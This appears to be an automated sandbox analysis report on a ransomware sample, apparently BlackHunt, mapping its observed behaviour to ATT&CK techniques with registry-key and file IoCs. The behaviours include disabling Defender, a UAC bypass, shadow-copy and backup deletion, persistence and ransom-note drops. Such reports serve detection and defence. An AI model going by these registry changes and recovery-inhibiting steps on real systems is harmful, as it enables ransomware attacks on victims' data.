43e8a325ae6bf49f1e4a5dcd2aaada315eecaacf7a128e3638e8ee0888304cad

Data Destruction

T1485

pid	Process
6056	fsutil.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 2 IoCs

evasion trojan

Modify Registry

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	43e8a325ae6bf49f1e4a5dcd2aaada315eecaacf7a128e3638e8ee0888304cad.exe

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1070.004

Inhibit System Recovery
T1490

Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs

ransomware evasion

Inhibit System Recovery

pid	Process
5860	bcdedit.exe
6068	bcdedit.exe

Renames multiple (730) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware

Deletes backup catalog 3 TTPs 1 IoCs

Uses wbadmin.exe to inhibit system recovery.

ransomware

Command and Scripting Interpreter

T1059

File Deletion

T1070.004

Inhibit System Recovery

pid	Process
6048	wbadmin.exe

Disables Task Manager via registry modification
evasion
Disables use of System Restore points 1 TTPs
evasion

Inhibit System Recovery
T1490

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\Control Panel\International\Geo\Nation	43e8a325ae6bf49f1e4a5dcd2aaada315eecaacf7a128e3638e8ee0888304cad.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{2C5F9FCC-F266-43F6-BFD7-838DAE269E11} = "C:\\ProgramData\\#BlackHunt_ReadMe.hta"	reg.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	43e8a325ae6bf49f1e4a5dcd2aaada315eecaacf7a128e3638e8ee0888304cad.exe

Enumerates connected drives 3 TTPs 25 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\E:	43e8a325ae6bf49f1e4a5dcd2aaada315eecaacf7a128e3638e8ee0888304cad.exe
File opened (read-only)	\??\P:	43e8a325ae6bf49f1e4a5dcd2aaada315eecaacf7a128e3638e8ee0888304cad.exe
File opened (read-only)	\??\J:	43e8a325ae6bf49f1e4a5dcd2aaada315eecaacf7a128e3638e8ee0888304cad.exe
File opened (read-only)	\??\X:	43e8a325ae6bf49f1e4a5dcd2aaada315eecaacf7a128e3638e8ee0888304cad.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\T:	43e8a325ae6bf49f1e4a5dcd2aaada315eecaacf7a128e3638e8ee0888304cad.exe
File opened (read-only)	\??\I:	43e8a325ae6bf49f1e4a5dcd2aaada315eecaacf7a128e3638e8ee0888304cad.exe
File opened (read-only)	\??\G:	43e8a325ae6bf49f1e4a5dcd2aaada315eecaacf7a128e3638e8ee0888304cad.exe
File opened (read-only)	\??\L:	43e8a325ae6bf49f1e4a5dcd2aaada315eecaacf7a128e3638e8ee0888304cad.exe
File opened (read-only)	\??\Z:	43e8a325ae6bf49f1e4a5dcd2aaada315eecaacf7a128e3638e8ee0888304cad.exe
File opened (read-only)	\??\B:	43e8a325ae6bf49f1e4a5dcd2aaada315eecaacf7a128e3638e8ee0888304cad.exe
File opened (read-only)	\??\N:	43e8a325ae6bf49f1e4a5dcd2aaada315eecaacf7a128e3638e8ee0888304cad.exe
File opened (read-only)	\??\Q:	43e8a325ae6bf49f1e4a5dcd2aaada315eecaacf7a128e3638e8ee0888304cad.exe
File opened (read-only)	\??\Y:	43e8a325ae6bf49f1e4a5dcd2aaada315eecaacf7a128e3638e8ee0888304cad.exe
File opened (read-only)	\??\U:	43e8a325ae6bf49f1e4a5dcd2aaada315eecaacf7a128e3638e8ee0888304cad.exe
File opened (read-only)	\??\S:	43e8a325ae6bf49f1e4a5dcd2aaada315eecaacf7a128e3638e8ee0888304cad.exe
File opened (read-only)	\??\H:	43e8a325ae6bf49f1e4a5dcd2aaada315eecaacf7a128e3638e8ee0888304cad.exe
File opened (read-only)	\??\K:	43e8a325ae6bf49f1e4a5dcd2aaada315eecaacf7a128e3638e8ee0888304cad.exe
File opened (read-only)	\??\R:	43e8a325ae6bf49f1e4a5dcd2aaada315eecaacf7a128e3638e8ee0888304cad.exe
File opened (read-only)	\??\O:	43e8a325ae6bf49f1e4a5dcd2aaada315eecaacf7a128e3638e8ee0888304cad.exe
File opened (read-only)	\??\W:	43e8a325ae6bf49f1e4a5dcd2aaada315eecaacf7a128e3638e8ee0888304cad.exe
File opened (read-only)	\??\V:	43e8a325ae6bf49f1e4a5dcd2aaada315eecaacf7a128e3638e8ee0888304cad.exe
File opened (read-only)	\??\A:	43e8a325ae6bf49f1e4a5dcd2aaada315eecaacf7a128e3638e8ee0888304cad.exe
File opened (read-only)	\??\M:	43e8a325ae6bf49f1e4a5dcd2aaada315eecaacf7a128e3638e8ee0888304cad.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
1	ip-api.com

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File created	C:\Program Files\Java\jdk-1.8\jre\lib\fonts\#BlackHunt_ReadMe.txt	43e8a325ae6bf49f1e4a5dcd2aaada315eecaacf7a128e3638e8ee0888304cad.exe
File created	C:\Program Files\VideoLAN\VLC\locale\fy\LC_MESSAGES\#BlackHunt_Private.key	43e8a325ae6bf49f1e4a5dcd2aaada315eecaacf7a128e3638e8ee0888304cad.exe
File created	C:\Program Files\VideoLAN\VLC\locale\fa\#BlackHunt_Private.key	43e8a325ae6bf49f1e4a5dcd2aaada315eecaacf7a128e3638e8ee0888304cad.exe
File created	C:\Program Files\Java\jre-1.8\bin\server\#BlackHunt_ReadMe.hta	43e8a325ae6bf49f1e4a5dcd2aaada315eecaacf7a128e3638e8ee0888304cad.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\ext\access-bridge-64.jar	43e8a325ae6bf49f1e4a5dcd2aaada315eecaacf7a128e3638e8ee0888304cad.exe
File created	C:\Program Files\VideoLAN\VLC\locale\pt_BR\#BlackHunt_ReadMe.hta	43e8a325ae6bf49f1e4a5dcd2aaada315eecaacf7a128e3638e8ee0888304cad.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\es\LC_MESSAGES\vlc.mo	43e8a325ae6bf49f1e4a5dcd2aaada315eecaacf7a128e3638e8ee0888304cad.exe
File created	C:\Program Files\VideoLAN\VLC\locale\lg\LC_MESSAGES\#BlackHunt_Private.key	43e8a325ae6bf49f1e4a5dcd2aaada315eecaacf7a128e3638e8ee0888304cad.exe
File created	C:\Program Files\VideoLAN\VLC\plugins\d3d9\#BlackHunt_ReadMe.txt	43e8a325ae6bf49f1e4a5dcd2aaada315eecaacf7a128e3638e8ee0888304cad.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\management\management.properties	43e8a325ae6bf49f1e4a5dcd2aaada315eecaacf7a128e3638e8ee0888304cad.exe
File created	C:\Program Files\VideoLAN\VLC\locale\km\LC_MESSAGES\#BlackHunt_ReadMe.hta	43e8a325ae6bf49f1e4a5dcd2aaada315eecaacf7a128e3638e8ee0888304cad.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\lua\http\css\ui-lightness\images\ui-bg_flat_10_000000_40x100.png	43e8a325ae6bf49f1e4a5dcd2aaada315eecaacf7a128e3638e8ee0888304cad.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\lua\http\dialogs\mosaic_window.html	43e8a325ae6bf49f1e4a5dcd2aaada315eecaacf7a128e3638e8ee0888304cad.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroApp\ENU\Redact_R_RHP.aapp	43e8a325ae6bf49f1e4a5dcd2aaada315eecaacf7a128e3638e8ee0888304cad.exe
File created	C:\Program Files\Java\jdk-1.8\jre\lib\management\#BlackHunt_ReadMe.txt	43e8a325ae6bf49f1e4a5dcd2aaada315eecaacf7a128e3638e8ee0888304cad.exe
File created	C:\Program Files\VideoLAN\VLC\locale\pl\#BlackHunt_Private.key	43e8a325ae6bf49f1e4a5dcd2aaada315eecaacf7a128e3638e8ee0888304cad.exe
File created	C:\Program Files\VideoLAN\VLC\locale\cgg\#BlackHunt_ReadMe.hta	43e8a325ae6bf49f1e4a5dcd2aaada315eecaacf7a128e3638e8ee0888304cad.exe
File created	C:\Program Files\VideoLAN\VLC\locale\fy\LC_MESSAGES\#BlackHunt_ReadMe.txt	43e8a325ae6bf49f1e4a5dcd2aaada315eecaacf7a128e3638e8ee0888304cad.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\Multimedia\#BlackHunt_ReadMe.hta	43e8a325ae6bf49f1e4a5dcd2aaada315eecaacf7a128e3638e8ee0888304cad.exe
File opened for modification	C:\Program Files\7-Zip\Lang\ja.txt	43e8a325ae6bf49f1e4a5dcd2aaada315eecaacf7a128e3638e8ee0888304cad.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\lua\http\images\Other-48.png	43e8a325ae6bf49f1e4a5dcd2aaada315eecaacf7a128e3638e8ee0888304cad.exe
File created	C:\Program Files\VideoLAN\VLC\lua\meta\art\#BlackHunt_ReadMe.hta	43e8a325ae6bf49f1e4a5dcd2aaada315eecaacf7a128e3638e8ee0888304cad.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\lua\http\js\controllers.js	43e8a325ae6bf49f1e4a5dcd2aaada315eecaacf7a128e3638e8ee0888304cad.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\lua\http\mobile_browse.html	43e8a325ae6bf49f1e4a5dcd2aaada315eecaacf7a128e3638e8ee0888304cad.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\lua\modules\dkjson.luac	43e8a325ae6bf49f1e4a5dcd2aaada315eecaacf7a128e3638e8ee0888304cad.exe
File created	C:\Program Files\VideoLAN\VLC\locale\eu\LC_MESSAGES\#BlackHunt_Private.key	43e8a325ae6bf49f1e4a5dcd2aaada315eecaacf7a128e3638e8ee0888304cad.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\si\LC_MESSAGES\vlc.mo	43e8a325ae6bf49f1e4a5dcd2aaada315eecaacf7a128e3638e8ee0888304cad.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins3d\#BlackHunt_Private.key	43e8a325ae6bf49f1e4a5dcd2aaada315eecaacf7a128e3638e8ee0888304cad.exe
File opened for modification	C:\Program Files\7-Zip\Lang\cy.txt	43e8a325ae6bf49f1e4a5dcd2aaada315eecaacf7a128e3638e8ee0888304cad.exe
File created	C:\Program Files\VideoLAN\VLC\locale\oc\#BlackHunt_Private.key	43e8a325ae6bf49f1e4a5dcd2aaada315eecaacf7a128e3638e8ee0888304cad.exe
File created	C:\Program Files\Java\jdk-1.8\jre\lib\applet\#BlackHunt_ReadMe.txt	43e8a325ae6bf49f1e4a5dcd2aaada315eecaacf7a128e3638e8ee0888304cad.exe
File created	C:\Program Files\Java\jre-1.8\bin\dtplugin\#BlackHunt_ReadMe.txt	43e8a325ae6bf49f1e4a5dcd2aaada315eecaacf7a128e3638e8ee0888304cad.exe
File created	C:\Program Files\VideoLAN\VLC\locale\km\#BlackHunt_Private.key	43e8a325ae6bf49f1e4a5dcd2aaada315eecaacf7a128e3638e8ee0888304cad.exe
File created	C:\Program Files\VideoLAN\VLC\locale\pt_BR\#BlackHunt_Private.key	43e8a325ae6bf49f1e4a5dcd2aaada315eecaacf7a128e3638e8ee0888304cad.exe
File created	C:\Program Files\VideoLAN\VLC\lua\http\requests\#BlackHunt_ReadMe.hta	43e8a325ae6bf49f1e4a5dcd2aaada315eecaacf7a128e3638e8ee0888304cad.exe
File created	C:\Program Files\VideoLAN\VLC\plugins\text_renderer\#BlackHunt_ReadMe.hta	43e8a325ae6bf49f1e4a5dcd2aaada315eecaacf7a128e3638e8ee0888304cad.exe
File opened for modification	C:\Program Files\7-Zip\Lang\zh-tw.txt	43e8a325ae6bf49f1e4a5dcd2aaada315eecaacf7a128e3638e8ee0888304cad.exe
File created	C:\Program Files\Java\jdk-1.8\jre\lib\jfr\#BlackHunt_ReadMe.txt	43e8a325ae6bf49f1e4a5dcd2aaada315eecaacf7a128e3638e8ee0888304cad.exe
File created	C:\Program Files\VideoLAN\VLC\locale\sk\LC_MESSAGES\#BlackHunt_Private.key	43e8a325ae6bf49f1e4a5dcd2aaada315eecaacf7a128e3638e8ee0888304cad.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\fonts\LucidaSansRegular.ttf	43e8a325ae6bf49f1e4a5dcd2aaada315eecaacf7a128e3638e8ee0888304cad.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ml\LC_MESSAGES\#BlackHunt_ReadMe.hta	43e8a325ae6bf49f1e4a5dcd2aaada315eecaacf7a128e3638e8ee0888304cad.exe
File created	C:\Program Files\VideoLAN\VLC\lua\http\#BlackHunt_ReadMe.txt	43e8a325ae6bf49f1e4a5dcd2aaada315eecaacf7a128e3638e8ee0888304cad.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\fonts\LucidaBrightDemiItalic.ttf	43e8a325ae6bf49f1e4a5dcd2aaada315eecaacf7a128e3638e8ee0888304cad.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ro\#BlackHunt_Private.key	43e8a325ae6bf49f1e4a5dcd2aaada315eecaacf7a128e3638e8ee0888304cad.exe
File created	C:\Program Files\VideoLAN\VLC\locale\is\LC_MESSAGES\#BlackHunt_Private.key	43e8a325ae6bf49f1e4a5dcd2aaada315eecaacf7a128e3638e8ee0888304cad.exe
File created	C:\Program Files\VideoLAN\VLC\plugins\text_renderer\#BlackHunt_Private.key	43e8a325ae6bf49f1e4a5dcd2aaada315eecaacf7a128e3638e8ee0888304cad.exe
File created	C:\Program Files\Java\jdk-1.8\legal\#BlackHunt_Private.key	43e8a325ae6bf49f1e4a5dcd2aaada315eecaacf7a128e3638e8ee0888304cad.exe
File created	C:\Program Files\VideoLAN\VLC\locale\cs\LC_MESSAGES\#BlackHunt_ReadMe.hta	43e8a325ae6bf49f1e4a5dcd2aaada315eecaacf7a128e3638e8ee0888304cad.exe
File created	C:\Program Files\VideoLAN\VLC\locale\hi\#BlackHunt_ReadMe.hta	43e8a325ae6bf49f1e4a5dcd2aaada315eecaacf7a128e3638e8ee0888304cad.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\lib\ant-javafx.jar	43e8a325ae6bf49f1e4a5dcd2aaada315eecaacf7a128e3638e8ee0888304cad.exe
File created	C:\Program Files\VideoLAN\VLC\locale\en_GB\LC_MESSAGES\#BlackHunt_ReadMe.txt	43e8a325ae6bf49f1e4a5dcd2aaada315eecaacf7a128e3638e8ee0888304cad.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\lua\playlist\twitch.luac	43e8a325ae6bf49f1e4a5dcd2aaada315eecaacf7a128e3638e8ee0888304cad.exe
File created	C:\Program Files\VideoLAN\VLC\locale\el\LC_MESSAGES\#BlackHunt_ReadMe.txt	43e8a325ae6bf49f1e4a5dcd2aaada315eecaacf7a128e3638e8ee0888304cad.exe
File created	C:\Program Files\VideoLAN\VLC\lua\http\js\#BlackHunt_Private.key	43e8a325ae6bf49f1e4a5dcd2aaada315eecaacf7a128e3638e8ee0888304cad.exe
File created	C:\Program Files\VideoLAN\VLC\locale\km\LC_MESSAGES\#BlackHunt_Private.key	43e8a325ae6bf49f1e4a5dcd2aaada315eecaacf7a128e3638e8ee0888304cad.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroApp\ENU\CPDF_RHP.aapp	43e8a325ae6bf49f1e4a5dcd2aaada315eecaacf7a128e3638e8ee0888304cad.exe
File created	C:\Program Files\Java\jre-1.8\lib\management\#BlackHunt_ReadMe.txt	43e8a325ae6bf49f1e4a5dcd2aaada315eecaacf7a128e3638e8ee0888304cad.exe
File created	C:\Program Files\MSBuild\#BlackHunt_ReadMe.txt	43e8a325ae6bf49f1e4a5dcd2aaada315eecaacf7a128e3638e8ee0888304cad.exe
File created	C:\Program Files\VideoLAN\VLC\locale\da\#BlackHunt_ReadMe.hta	43e8a325ae6bf49f1e4a5dcd2aaada315eecaacf7a128e3638e8ee0888304cad.exe
File created	C:\Program Files\VideoLAN\VLC\locale\da\LC_MESSAGES\#BlackHunt_ReadMe.hta	43e8a325ae6bf49f1e4a5dcd2aaada315eecaacf7a128e3638e8ee0888304cad.exe
File created	C:\Program Files\VideoLAN\VLC\locale\en_GB\#BlackHunt_Private.key	43e8a325ae6bf49f1e4a5dcd2aaada315eecaacf7a128e3638e8ee0888304cad.exe
File created	C:\Program Files\VideoLAN\VLC\locale\gd\#BlackHunt_ReadMe.txt	43e8a325ae6bf49f1e4a5dcd2aaada315eecaacf7a128e3638e8ee0888304cad.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ia\#BlackHunt_ReadMe.txt	43e8a325ae6bf49f1e4a5dcd2aaada315eecaacf7a128e3638e8ee0888304cad.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\lua\playlist\rockbox_fm_presets.luac	43e8a325ae6bf49f1e4a5dcd2aaada315eecaacf7a128e3638e8ee0888304cad.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks SCSI registry key(s) 3 TTPs 4 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_DADY_DVD-ROM\4&215468A5&0&010000	vds.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_DADY_DVD-ROM\4&215468a5&0&010000\FriendlyName	vds.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_DADY&PROD_HARDDISK\4&215468A5&0&000000	vds.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\FriendlyName	vds.exe

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

pid	Process
5600	schtasks.exe

Interacts with shadow copies 2 TTPs 5 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

pid	Process
5828	vssadmin.exe
5692	vssadmin.exe
5884	vssadmin.exe
5868	vssadmin.exe
5840	vssadmin.exe

Modifies registry class 10 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	cmd.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2\DefaultIcon	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2\DefaultIcon	cmd.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\	reg.exe

Suspicious use of AdjustPrivilegeToken 13 IoCs

description	pid	Process
Token: SeDebugPrivilege	2144	43e8a325ae6bf49f1e4a5dcd2aaada315eecaacf7a128e3638e8ee0888304cad.exe
Token: SeRestorePrivilege	2144	43e8a325ae6bf49f1e4a5dcd2aaada315eecaacf7a128e3638e8ee0888304cad.exe
Token: SeBackupPrivilege	2144	43e8a325ae6bf49f1e4a5dcd2aaada315eecaacf7a128e3638e8ee0888304cad.exe
Token: SeTakeOwnershipPrivilege	2144	43e8a325ae6bf49f1e4a5dcd2aaada315eecaacf7a128e3638e8ee0888304cad.exe
Token: SeAuditPrivilege	2144	43e8a325ae6bf49f1e4a5dcd2aaada315eecaacf7a128e3638e8ee0888304cad.exe
Token: SeSecurityPrivilege	2144	43e8a325ae6bf49f1e4a5dcd2aaada315eecaacf7a128e3638e8ee0888304cad.exe
Token: SeIncBasePriorityPrivilege	2144	43e8a325ae6bf49f1e4a5dcd2aaada315eecaacf7a128e3638e8ee0888304cad.exe
Token: SeBackupPrivilege	5876	vssvc.exe
Token: SeRestorePrivilege	5876	vssvc.exe
Token: SeAuditPrivilege	5876	vssvc.exe
Token: SeBackupPrivilege	3748	wbengine.exe
Token: SeRestorePrivilege	3748	wbengine.exe
Token: SeSecurityPrivilege	3748	wbengine.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2144 wrote to memory of 4972	2144	43e8a325ae6bf49f1e4a5dcd2aaada315eecaacf7a128e3638e8ee0888304cad.exe	88
PID 2144 wrote to memory of 4972	2144	43e8a325ae6bf49f1e4a5dcd2aaada315eecaacf7a128e3638e8ee0888304cad.exe	88
PID 2144 wrote to memory of 1848	2144	43e8a325ae6bf49f1e4a5dcd2aaada315eecaacf7a128e3638e8ee0888304cad.exe	90
PID 2144 wrote to memory of 1848	2144	43e8a325ae6bf49f1e4a5dcd2aaada315eecaacf7a128e3638e8ee0888304cad.exe	90
PID 2144 wrote to memory of 3584	2144	43e8a325ae6bf49f1e4a5dcd2aaada315eecaacf7a128e3638e8ee0888304cad.exe	92
PID 2144 wrote to memory of 3584	2144	43e8a325ae6bf49f1e4a5dcd2aaada315eecaacf7a128e3638e8ee0888304cad.exe	92
PID 2144 wrote to memory of 4844	2144	43e8a325ae6bf49f1e4a5dcd2aaada315eecaacf7a128e3638e8ee0888304cad.exe	94
PID 2144 wrote to memory of 4844	2144	43e8a325ae6bf49f1e4a5dcd2aaada315eecaacf7a128e3638e8ee0888304cad.exe	94
PID 2144 wrote to memory of 5064	2144	43e8a325ae6bf49f1e4a5dcd2aaada315eecaacf7a128e3638e8ee0888304cad.exe	95
PID 2144 wrote to memory of 5064	2144	43e8a325ae6bf49f1e4a5dcd2aaada315eecaacf7a128e3638e8ee0888304cad.exe	95
PID 3584 wrote to memory of 1600	3584	cmd.exe	98
PID 4972 wrote to memory of 2132	4972	cmd.exe	99
PID 3584 wrote to memory of 1600	3584	cmd.exe	98
PID 4972 wrote to memory of 2132	4972	cmd.exe	99
PID 1848 wrote to memory of 1536	1848	cmd.exe	183
PID 5064 wrote to memory of 1528	5064	cmd.exe	100
PID 5064 wrote to memory of 1528	5064	cmd.exe	100
PID 1848 wrote to memory of 1536	1848	cmd.exe	183
PID 4844 wrote to memory of 552	4844	cmd.exe	101
PID 4844 wrote to memory of 552	4844	cmd.exe	101
PID 2144 wrote to memory of 4484	2144	43e8a325ae6bf49f1e4a5dcd2aaada315eecaacf7a128e3638e8ee0888304cad.exe	103
PID 2144 wrote to memory of 4484	2144	43e8a325ae6bf49f1e4a5dcd2aaada315eecaacf7a128e3638e8ee0888304cad.exe	103
PID 2144 wrote to memory of 1224	2144	43e8a325ae6bf49f1e4a5dcd2aaada315eecaacf7a128e3638e8ee0888304cad.exe	106
PID 2144 wrote to memory of 1224	2144	43e8a325ae6bf49f1e4a5dcd2aaada315eecaacf7a128e3638e8ee0888304cad.exe	106
PID 2144 wrote to memory of 2448	2144	43e8a325ae6bf49f1e4a5dcd2aaada315eecaacf7a128e3638e8ee0888304cad.exe	108
PID 2144 wrote to memory of 2448	2144	43e8a325ae6bf49f1e4a5dcd2aaada315eecaacf7a128e3638e8ee0888304cad.exe	108
PID 2144 wrote to memory of 1548	2144	43e8a325ae6bf49f1e4a5dcd2aaada315eecaacf7a128e3638e8ee0888304cad.exe	110
PID 2144 wrote to memory of 1548	2144	43e8a325ae6bf49f1e4a5dcd2aaada315eecaacf7a128e3638e8ee0888304cad.exe	110
PID 2144 wrote to memory of 4160	2144	43e8a325ae6bf49f1e4a5dcd2aaada315eecaacf7a128e3638e8ee0888304cad.exe	116
PID 2144 wrote to memory of 4160	2144	43e8a325ae6bf49f1e4a5dcd2aaada315eecaacf7a128e3638e8ee0888304cad.exe	116
PID 2144 wrote to memory of 2156	2144	43e8a325ae6bf49f1e4a5dcd2aaada315eecaacf7a128e3638e8ee0888304cad.exe	112
PID 2144 wrote to memory of 2156	2144	43e8a325ae6bf49f1e4a5dcd2aaada315eecaacf7a128e3638e8ee0888304cad.exe	112
PID 2144 wrote to memory of 2220	2144	43e8a325ae6bf49f1e4a5dcd2aaada315eecaacf7a128e3638e8ee0888304cad.exe	113
PID 2144 wrote to memory of 2220	2144	43e8a325ae6bf49f1e4a5dcd2aaada315eecaacf7a128e3638e8ee0888304cad.exe	113
PID 2144 wrote to memory of 1764	2144	43e8a325ae6bf49f1e4a5dcd2aaada315eecaacf7a128e3638e8ee0888304cad.exe	124
PID 2144 wrote to memory of 1764	2144	43e8a325ae6bf49f1e4a5dcd2aaada315eecaacf7a128e3638e8ee0888304cad.exe	124
PID 2144 wrote to memory of 3152	2144	43e8a325ae6bf49f1e4a5dcd2aaada315eecaacf7a128e3638e8ee0888304cad.exe	123
PID 2144 wrote to memory of 3152	2144	43e8a325ae6bf49f1e4a5dcd2aaada315eecaacf7a128e3638e8ee0888304cad.exe	123
PID 2144 wrote to memory of 3496	2144	43e8a325ae6bf49f1e4a5dcd2aaada315eecaacf7a128e3638e8ee0888304cad.exe	122
PID 2144 wrote to memory of 3496	2144	43e8a325ae6bf49f1e4a5dcd2aaada315eecaacf7a128e3638e8ee0888304cad.exe	122
PID 2144 wrote to memory of 928	2144	43e8a325ae6bf49f1e4a5dcd2aaada315eecaacf7a128e3638e8ee0888304cad.exe	120
PID 2144 wrote to memory of 928	2144	43e8a325ae6bf49f1e4a5dcd2aaada315eecaacf7a128e3638e8ee0888304cad.exe	120
PID 2144 wrote to memory of 5072	2144	43e8a325ae6bf49f1e4a5dcd2aaada315eecaacf7a128e3638e8ee0888304cad.exe	130
PID 2144 wrote to memory of 5072	2144	43e8a325ae6bf49f1e4a5dcd2aaada315eecaacf7a128e3638e8ee0888304cad.exe	130
PID 2144 wrote to memory of 2668	2144	43e8a325ae6bf49f1e4a5dcd2aaada315eecaacf7a128e3638e8ee0888304cad.exe	126
PID 2144 wrote to memory of 2668	2144	43e8a325ae6bf49f1e4a5dcd2aaada315eecaacf7a128e3638e8ee0888304cad.exe	126
PID 2144 wrote to memory of 3280	2144	43e8a325ae6bf49f1e4a5dcd2aaada315eecaacf7a128e3638e8ee0888304cad.exe	129
PID 2144 wrote to memory of 3280	2144	43e8a325ae6bf49f1e4a5dcd2aaada315eecaacf7a128e3638e8ee0888304cad.exe	129
PID 2144 wrote to memory of 1932	2144	43e8a325ae6bf49f1e4a5dcd2aaada315eecaacf7a128e3638e8ee0888304cad.exe	131
PID 2144 wrote to memory of 1932	2144	43e8a325ae6bf49f1e4a5dcd2aaada315eecaacf7a128e3638e8ee0888304cad.exe	131
PID 2144 wrote to memory of 2432	2144	43e8a325ae6bf49f1e4a5dcd2aaada315eecaacf7a128e3638e8ee0888304cad.exe	132
PID 2144 wrote to memory of 2432	2144	43e8a325ae6bf49f1e4a5dcd2aaada315eecaacf7a128e3638e8ee0888304cad.exe	132
PID 2144 wrote to memory of 3484	2144	43e8a325ae6bf49f1e4a5dcd2aaada315eecaacf7a128e3638e8ee0888304cad.exe	133
PID 2144 wrote to memory of 3484	2144	43e8a325ae6bf49f1e4a5dcd2aaada315eecaacf7a128e3638e8ee0888304cad.exe	133
PID 2144 wrote to memory of 3020	2144	43e8a325ae6bf49f1e4a5dcd2aaada315eecaacf7a128e3638e8ee0888304cad.exe	136
PID 2144 wrote to memory of 3020	2144	43e8a325ae6bf49f1e4a5dcd2aaada315eecaacf7a128e3638e8ee0888304cad.exe	136
PID 2144 wrote to memory of 1460	2144	43e8a325ae6bf49f1e4a5dcd2aaada315eecaacf7a128e3638e8ee0888304cad.exe	137
PID 2144 wrote to memory of 1460	2144	43e8a325ae6bf49f1e4a5dcd2aaada315eecaacf7a128e3638e8ee0888304cad.exe	137
PID 2144 wrote to memory of 4432	2144	43e8a325ae6bf49f1e4a5dcd2aaada315eecaacf7a128e3638e8ee0888304cad.exe	145
PID 2144 wrote to memory of 4432	2144	43e8a325ae6bf49f1e4a5dcd2aaada315eecaacf7a128e3638e8ee0888304cad.exe	145
